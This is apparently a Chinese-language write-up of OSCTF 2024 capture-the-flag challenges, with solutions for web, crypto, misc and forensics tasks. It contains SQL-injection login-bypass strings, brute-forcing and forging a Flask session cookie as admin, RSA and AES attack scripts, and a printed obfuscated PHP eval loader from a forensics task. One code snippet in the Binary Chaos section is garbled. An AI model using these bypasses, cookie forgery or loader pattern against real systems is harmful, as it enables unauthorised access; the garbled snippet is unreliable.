HITCON CTF 2024 Quals有点……
不如打OSCTF 2024,比赛网址
https://ctf.os.ftp.sh/

Web

Introspection

script.js

function checkFlag() {
const flagInput = document.getElementById('flagInput').value;
const result = document.getElementById('result');
const flag = "OSCTF{Cr4zY_In5P3c71On}";

if (flagInput === flag) {
result.textContent = "Congratulations! You found the flag!";
result.style.color = "green";
} else {
result.textContent = "Incorrect flag. Try again.";
result.style.color = "red";
}
}

Style Query Listing…?

万能密码,admin1'or'1'='1

再试其他万能密码,admin' or '1'='1,密码随便

'or 1=1#,密码随便

sqlite3注入?好像题目有这个意思但是…?可能万能密码非预期了
1'or'1'or'1,密码随便,同fake flag

其实,直接url/admin也能出

Indoor WebApp


无语子

Heads or Tails?

hint

Try making a custom directory/file bruteforcing list that is made in the following format: 
(http_request_methods)-(words_related_to_ctf)


?题目是想自制请求方法字典?没搞懂

看到wp,牛魔,原来提示说的是访问路径

要真搞这个字典就……
翻到了一个

http_methods = ["get", "post", "put", "delete", "head", "connect", "options", "trace", "patch"]
ctf_words = [
"flag", "admin", "login", "upload", "download", "register", "secret", "hidden",
"password", "secure", "user", "account", "file", "directory", "config", "shell",
"root", "backup", "data", "info", "access", "system", "control", "manage",
"session", "token", "auth", "verify", "exploit", "vulnerability"
]


wordlist = [f"{method}-{word}" for method in http_methods for word in ctf_words]


with open("wordlist.txt", "w") as f:
for entry in wordlist:
f.write(entry + "\n")

Action Notes

注册登录应该没有利用的地方
这个做笔记返回同样的值,{{7*'7'}}试了,不是SSTI模板注入,xss也试了,没反应,其他也试了一下,没思路了

注意session

JWT解一下发现不对劲,其实是与它相似的Flask cookie,爆破秘钥,然后开始伪造cookie

工具下载
pip install flask-unsign[wordlist]

解密cookie,爆破秘钥
flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6InF3c2EifQ.ZpfP2w.bBxTMRuAsrU8RQqF8evAlak2K0E"

[*] Session decodes to: {'username': 'qwsa'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2176): -----BEGIN PRIVATE KEY-----ECR
[+] Found secret key after 21760 attemptsARmLVrlFlXaB
'supersecretkey'

构造admin
flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'supersecretkey'

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZpfRfg.GnwGHmIFCH5aRfMm-yj8ZuH1Cgk


所以这题是,Flask cookie是吧

还有一个就是,爆破admin的密码,奇怪,是我看漏了?我当时好像没爆出来
密码是admin123

Crypto

Cipher Conundrum

NDc0YjM0NGMzNzdiNTg2NzVmNDU1NjY2NTE1ZjM0NTQ2ODM5NzY0YTZiNmI2YjZiNmI3ZA==
交给厨子
base64->hex->Rot13,offset=8OS4T7{Fo_MDnY_4Bp9dRsssss}
4->C7->f,则OSCTF{Fo_MDnY_CBpHdRsssss}
也不对,语义上像是OSCTF{So_ManY_CipHeRsssss},也不对

赛后搜索某个东西的时候,弹出某个博客
https://www.dcode.fr
用到了在线工具Dcode
OSCTF{5o_M3nY_C1ph3Rsssss},这是换表Rot13?

看到一份wp,先移大写和数字,再移小写,我还以为只是单纯数字没有移位,emmm,思路挺新奇的

a = 'GK4L7{Xg_EVfQ_4Th9vJkkkkk}'
key = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
b = ''.join([key[(8+key.index(i)) % len(key)] if i in key else i for i in a])
print(b)
key = 'abcdefghijklmnopqrstuvwxyz0123456789'
c = ''.join([key[(8+key.index(i)) % len(key)]
if i in key[:26] else i for i in b])
print(c)

The Secret Message

from Cryptodome.Util.number import getPrime, bytes_to_long

flag = bytes_to_long(b"REDACTED")
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 3

ciphertext = pow(flag, e, n)

print("n: ", n)
print("e: ", e)
print("ciphertext: ", ciphertext)
n:  95529209895456302225704906479347847909957423713146975001566374739455122191404873517846348720717334832208112563199994182911677708320666162110219260456995238587348694937990770918797369279309985690765014929994818701603418084246649965352663500490541743609682236183632053755116058982739236349050530235419666436143
e: 3
ciphertext: 123455882152544968263105106204728561055927061837559618140477097078038573915018542652304779417958037315601542697001430243903815208295768006065618427997903855304186888710867473025125

小e,直接开方根

from Crypto.Util.number import *
import gmpy2
e =
c =
print(long_to_bytes(gmpy2.iroot(c, e)[0]))

Couple Primes

from Crypto.Util.number import *
from sympy import nextprime
flag = b'REDACTED'
p = getPrime(1024)
q = nextprime(p)
e = 65537
n = p * q
c = pow(bytes_to_long(flag), e, n)
print(f"n = {n}")
print(f"c = {c}")
n = 20159884168863899177128175715030429666461733285660170664255048579116265087763268748333820860913271674586980839088092697230336179818435879126554509868570255414201418619851045615744211750178240471758695923469393333600480843090831767416937814471973060610730578620506577745372347777922355677932755542699210313287595362584505135967456855068550375989801913361017083952090117041405458626488736811460716474071561590513778196334141517893224697977911862004615690183334216587398645213023148750443295007000911541566340284156527080509545145423451091853688188705902833261507474200445477515893168405730493924172626222872760780966427
c = 18440162368010249375653348677429595229051180035668845001125855048750591059785630865891877031796050869136099359028540172514890273415892550857190509410541828375948243175466417949548148007390803680005616875833010137407850955608659023797782656930905693262770473679394796595557898347900786445803645539553815614140428316398058138450937721961593146082399553119578102712100359284788650328835784603011091312735813903241087475279011862693938914825685547337081335030237385061397899718079346063519325222861490101383929790275635381333028091769118083102339908694751574572782030287570280071809896532329742115422479473386147281509394

pq相近,开平方爆破

from Crypto.Util.number import *
import gmpy2
n =
c =
e = 65537
def factor(n):
a, f = gmpy2.iroot(n, 2)
while (True):
a += 1
try:
b, f = gmpy2.iroot(a*a - n, 2)
except:
pass
if f:
return a-b, a+b
p = factor(n)[0]
q = factor(n)[1]
print(p*q == n)
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)))

Efficient RSA

from Cryptodome.Util.number import getPrime, bytes_to_long
Flag = bytes_to_long(b"REDACTED")
p = getPrime(112)
q = getPrime(112)
n = p*q
e = 65537
ciphertext = pow(Flag, e, n)
print([n, e, ciphertext])
[13118792276839518668140934709605545144220967849048660605948916761813, 65537, 8124539402402728939748410245171419973083725701687225219471449051618]

直接分解n

from Crypto.Util.number import *
import gmpy2
n = 13118792276839518668140934709605545144220967849048660605948916761813
c = 8124539402402728939748410245171419973083725701687225219471449051618
e = 65537
p = 3058290486427196148217508840815579
q = 4289583456856434512648292419762447
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(c, d, n)))

QR

from Crypto.Util.number import *
from random import *
flag = b'REDACTED'
p = 96517490730367252566551196176049957092195411726055764912412605750547823858339
a = 1337
flag = bin(bytes_to_long(flag))[2:]
encrypt = []
for bit in flag:
encrypt.append(pow(a, (randint(2, p) * randrange(2, p, 2)) + int(bit), p))
print(encrypt)

看了虾饺的讨论文档才发现,原来是二次剩余(QR)
利用勒让德符号判断二次剩余


randrange(2, p, 2)这里保证了a的奇偶次方由flagbit决定,0即偶次方为QR,1即奇次方为QNR

from Crypto.Util.number import *
c = []
p = 96517490730367252566551196176049957092195411726055764912412605750547823858339
a = 1337
print(GCD(a,p))
flag=''
for i in range(len(c)):
b=legendre_symbol(c[i],p)
if b==1:
flag+='0'
else:
flag+='1'
print(long_to_bytes(int(flag,2)))
# b'OSCTF{d0_y0U_L0v3_m47H_?_<3}'

Sheep Counting

题目

from Crypto.Cipher import AES
from os import urandom
KEY = b'REDACTED'
class StepUpCounter(object):
def __init__(self, step_up=False):
self.value = urandom(16).hex()
self.step = 1
self.stup = step_up
def increment(self):
if self.stup:
self.newIV = hex(int(self.value, 16) + self.step)
else:
self.newIV = hex(int(self.value, 16) - self.stup)
self.value = self.newIV[2:len(self.newIV)]
return bytes.fromhex(self.value.zfill(32))
def __repr__(self):
self.increment()
return self.value

def encrypt():
cipher = AES.new(KEY, AES.MODE_ECB)
ctr = StepUpCounter()
out = []
with open("Counting.png", 'rb') as f:
block = f.read(16)
while block:
keystream = cipher.encrypt(ctr.increment())
xored = [a^b for a, b in zip(block, keystream)]
out.append(bytes(xored).hex())
block = f.read(16)
return {"encrypted": ''.join(out)}
print(encrypt())

这个StepUpCounter有点没看懂,赛后看到虾饺的师傅写的,非预期了?
我觉得就是预期解吧,keystream = cipher.encrypt(ctr.increment()),因为采用的是ECB模式,所以keystream一直都是不变的,而我们又知道png图片的固定16个字节,自然而然地就可以把秘钥泄露出来了

from pwn import *
leak = bytes.fromhex('89504e470d0a1a0a0000000d49484452')
cipher = bytes.fromhex('')
key = xor(cipher[:16], leak)
flag = b''
flag += xor(key, cipher)
with open("flag.png", 'wb')as f:
f.write(flag)


OSCTF{SH33P_CouNT1ng_111}

Love Story

hint

def to_my_honey(owo):
return ord(owo) - 0x41
def from_your_lover(uwu):
return chr(uwu % 26 + 0x41)
def encrypt(billet_doux):
letter = ''
for heart in range(len(billet_doux)):
letters = billet_doux[heart]
if not letters.isalpha():
owo = letters
else:
uwu = to_my_honey(letters)
owo = from_your_lover(uwu + heart)
letter += owo
return letter
m = "REDACTED"
c = encrypt(m)
print(c)

KJOL_T_ZCTS_ZV_CQKLX_NDFKZTUC
明文应该也是全大写才对,大小写混合的话,我就不知道怎么解决了

a = 'KJOL_T_ZCTS_ZV_CQKLX_NDFKZTUC'
b = ''
for i in range(len(a)):
if a[i] == '_':
b += a[i]
else:
for j in range(65, 123):
if (j-65+i) % 26 + 65 == ord(a[i]):
b += chr(j)
break
print('OSCTF{'+b+'}')

OSCTF{KIMI_O_SUKI_NI_NATTE_SHIMATTA},提交错误,语义好像也不知道是什么东西

这下成逆天哥了,明文我以为那个句号不算是里面的东西,结果真就漏了这个,比赛结束前,这个flag确实是出来了,但就是少了这个.
OSCTF{KIMI_O_SUKI_NI_NATTE_SHIMATTA.}
其实就是一个移位,但是没有hint的话,这能猜出来怎么加密的?移位肯定大家都知道,但是这解出来也没有具体的语义啊,反正我看不出来

It’s Ascii, right?()

hintalphabet: BUIADSEFGHJKMNOYPQLRTCVXZ
Ciphertext: 63 59 66 61 31 35 33 41 73 35 63 49 43 69
emmmm,不会处理,十六进制,ASCII也不对,这提示也不会用
三解,没找到wp,官方的都没有

Misc

Weird Video

发现.mp4文件打不开,直接记事本打开
OSCTF{T3xt_3DiT0r_FTW!}

Cyber Quiz

有意思的问答题

Answer the following cybersecurity questions to reveal the flag:

What is the default port for HTTP?
80

Who invented the World Wide Web?
Tim Berners-Lee

What does DNS stand for?
Domain Name System

What is the process of converting data into a coded format called?
Encryption

What protocol is commonly used for secure communication over the internet?
HTTPS

What does SQL stand for?
Structured Query Language

What is a common type of attack that involves injecting malicious code into a website?
SQL injection

What type of malware encrypts files and demands payment for their release?
Ransomware

What is the practice of disguising communication to appear as though it is coming from a trusted source?
Spoofing

What is a file called that contains a digital certificate?
Certificate

What term describes the attempt to gain sensitive information by disguising as a trustworthy entity?
phishing

What is a network device that filters and monitors incoming and outgoing network traffic?
firewall

What type of attack involves overwhelming a system with traffic to disrupt service?
DDos

What is the primary protocol used for sending email over the internet?
SMTP

What does VPN stand for?
Virtual Private Network

What is the name of the vulnerability that allows arbitrary code execution in software?
buffer overflow

What is the term for a software update that fixes bugs and vulnerabilities?
patch

What does MFA stand for in cybersecurity?
Multi-Factor Authentication

What is a tool that scans a network for open ports and services?
nmap

What is the name of the secure file transfer protocol that uses SSH?
SFTP

What does XSS stand for in web security?
Cross-Site Scripting


Final flag: OSCTF{L33t_Kn0wl3Dg3}

Find the Flag

彩蛋题

OSCTF{D1d_y0u_F1nd_m3?!}

Cryptic Pigeon

搜索题目,得到https://www.boxentriq.com/code-breaking/pigpen-cipher,这是个好网站

OSCTF{P1GE0NG0BRRRR}

BF

https://www.cmd5.com/
反查md5

=tFd>Q7_/Of$=![MJUtai{]m4{SD,'+!CQsxlS2ggV^ZiI%2-]2g
base92即可

Captured Data


你会发现只有abcdefbc,很难不猜测是二进制,而且这个文件并没有包含其他信息了
这样子这题就会很简单,但是,你怎么把它们提出来呢?一共800多行,手动是不可能手动的
小小学一手xlsx文件的读写,把数据都提出来,再用记事本进行替换,搞定

from Crypto.Util.number import *
from openpyxl import load_workbook
workbook = load_workbook(filename="output.xlsx")
sheet = workbook['Sheet']
row_values = [cell.value for cell in sheet['B']]
for i in row_values:
print(i, end='')
print("\n")
flag = 0b010011110101001101000011010101000100011001111011001100010110111001100110001100000101111101100100001100010111001101110000011011000011010001100011001100110110010001111101
print(long_to_bytes(flag))

OSCTF{1nf0_d1spl4c3d}

Binary Chaos

这个是非常规的二进制序列,你仔细观察你会发现,它包含了000 001 010 011 100 101 110 111
同时呢,Brainfuck语言是包含了八种字符的,要是三种的也要注意了,因为很大概率是Ook

f = open("message.txt", 'r')
enc = f.read()
dict = {'000': '+', '001': '-', '010': '>', '011': '<',
'100': '.', '101': ',', '110': '[', '111': ']'}
bf = ''
for i in range(0, len(enc), 3):
bf += dict[enc[i:i+3]]
print(bf)

一开始,用的><+-.,[]是错误的,服了。。。
解密,https://www.splitbrain.org/services/ook

flag_chars = ['B', '4', '{', 'c', 'F', '}', '_', 'K', 'n', 'F', 'T', 'O', 'S', '1', 'C', 'r', '#', 'y']
indices = [11, 14, 5, 8,L4,L17,L10,L9Xx13,x4,x3,x0,x1,x12,x2,x15,x7,x16]���def�assemble_flag�chars��idxs�:������To�Doreturn*44MmPrintmthemassembledmflagwprint(assemble_flag(flag_chars, indices))w

观察可发现,它们的位置是一一对应的,不过需要把前面多出来的一个4,改成6
通过寻找当前序号的索引,来输出flag_chars的字符

flag_chars = 'B4{cF}_KnFTOS1Cr#y'
order = [11, 14, 5, 8, 6, 17, 10, 9, 13, 4, 3, 0, 1, 12, 2, 15, 7, 16]
print(set(order))
for i in range(len(order)):
print(flag_chars[order.index(i)], end='')

OSCTF{F#cK_B1n4ry}

else

剩下的都是mc题了,不想做,好像很多比赛的杂项都喜欢出这种,反正我是不会去碰的

Forensics

The Lost Image Mystery

010打开,发现不是png文件格式,文件尾是FF D9
文件头是D8,补充文件头为FF D8

OSCTF{W0ah_F1l3_h34D3r5}

The Hidden Soundwave

豪庭,Faded
频谱图最后那一段发现有东西

OSCTF{M3s54g3_1nt3Rc3p7eD}

Mysterious Website Incident

查看日志,根据http协议,发现了

https://drive.google.com/file/d/15IwD7QiSKtvmW7XG2gYkdnwW0bxXBgdj/view?usp=drive_link
OSCTF{1_c4N_L0g!}

PDF Puzzle

移动黑条,发现没有隐藏东西
查看属性

OSCTF{H3il_M3taD4tA}

Seele Vellorei

希儿·芙乐艾
Word文档隐写,玩来玩去好像也就那么几种手法,放了张图片上来,移走,全选,更改字体颜色,立马发现隐藏的文字
Flag: OSCTF{V3l10n4_1s_Gr43t}
也可以exiftool My_pdf.pdf,查看PDF文件的信息

Phantom Script Intrusion

<?php
goto Ls6vZ;
apeWK:
${"\x76\141\x72\61"} = str_rot13("\x24\x7b\x22\134\x78\x34\x37\134\x78\x34\143\x5c\x78\64\x66\x5c\170\x34\x32\134\x78\64\61\x5c\170\x34\x63\134\x78\x35\x33\42\x7d");
goto G9fZX;
Ls6vZ:
${"\x47\x4c\x4f\x42\101\114\123"} = "\150\x58\x58\x70\x73\72\x2f\57\163\150\x30\162\164\x75\x72\x6c\56\x61\164\x2f\x73\x31\146\x57\62";
goto apeWK;
XT2kv:
if (strlen(${"\x76\141\x72\x32"}) > 0) {
${"\166\x61\x72\x33"} = ${"\x76\x61\x72\x32"};
} else {
${"\166\141\x72\63"} = '';
}
goto ZYamk;
V2P3O:
foreach (str_split(${"\166\141\x72\x33"}) as ${"\166\x61\x72\x35"}) {
${"\166\141\162\x34"} .= chr(ord(${"\166\141\162\65"}) - 1);
}
goto Ly_yq;
G9fZX:
${"\x76\141\162\x32"} = base64_decode(${${"\166\x61\162\x31"}});
goto XT2kv;
Ly_yq:
eval(${${"\x76\x61\x72\x34"}});
goto IFMxz;
ZYamk:
${"\166\141\162\64"} = '';
goto V2P3O;
IFMxz:
?>

PHP混淆还原
https://tool.lu/php/

<?php
goto Ls6vZ;
apeWK:
${"var1"} = str_rot13("\${\"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53\"}");
goto G9fZX;
Ls6vZ:
${"GLOBALS"} = "hXXps://sh0rturl.at/s1fW2";
goto apeWK;
XT2kv:
if (strlen(${"var2"}) > 0) {
${"var3"} = ${"var2"};
} else {
${"var3"} = '';
}
goto ZYamk;
V2P3O:
foreach (str_split(${"var3"}) as ${"var5"}) {
${"var4"} .= chr(ord(${"var5"}) - 1);
}
goto Ly_yq;
G9fZX:
${"var2"} = base64_decode(${${"var1"}});
goto XT2kv;
Ly_yq:
eval(${${"var4"}});
goto IFMxz;
ZYamk:
${"var4"} = '';
goto V2P3O;
IFMxz:

hXXps://sh0rturl.at/s1fW2,修正,得到https://shorturl.at/s1fW2
OSCTF{M4lW4re_0bfU5CAt3d}

qRc0dE


emmmmm,没修出来,以为像上次WaniCTF一样好修,发现不是,应该是S那块没弄好

群里给干出来了

Cyber Heist Conspiracy

第一个数据包直接双击,笑死,下次再也不只追踪流了

OSCTF{Pr0_W1Th_PC4Ps}

或者借助grep
cat capture.pcapng | grep -ia osctf

grep 参数
-i 忽略大小写进行匹配
-a 不要忽略二进制的数据信息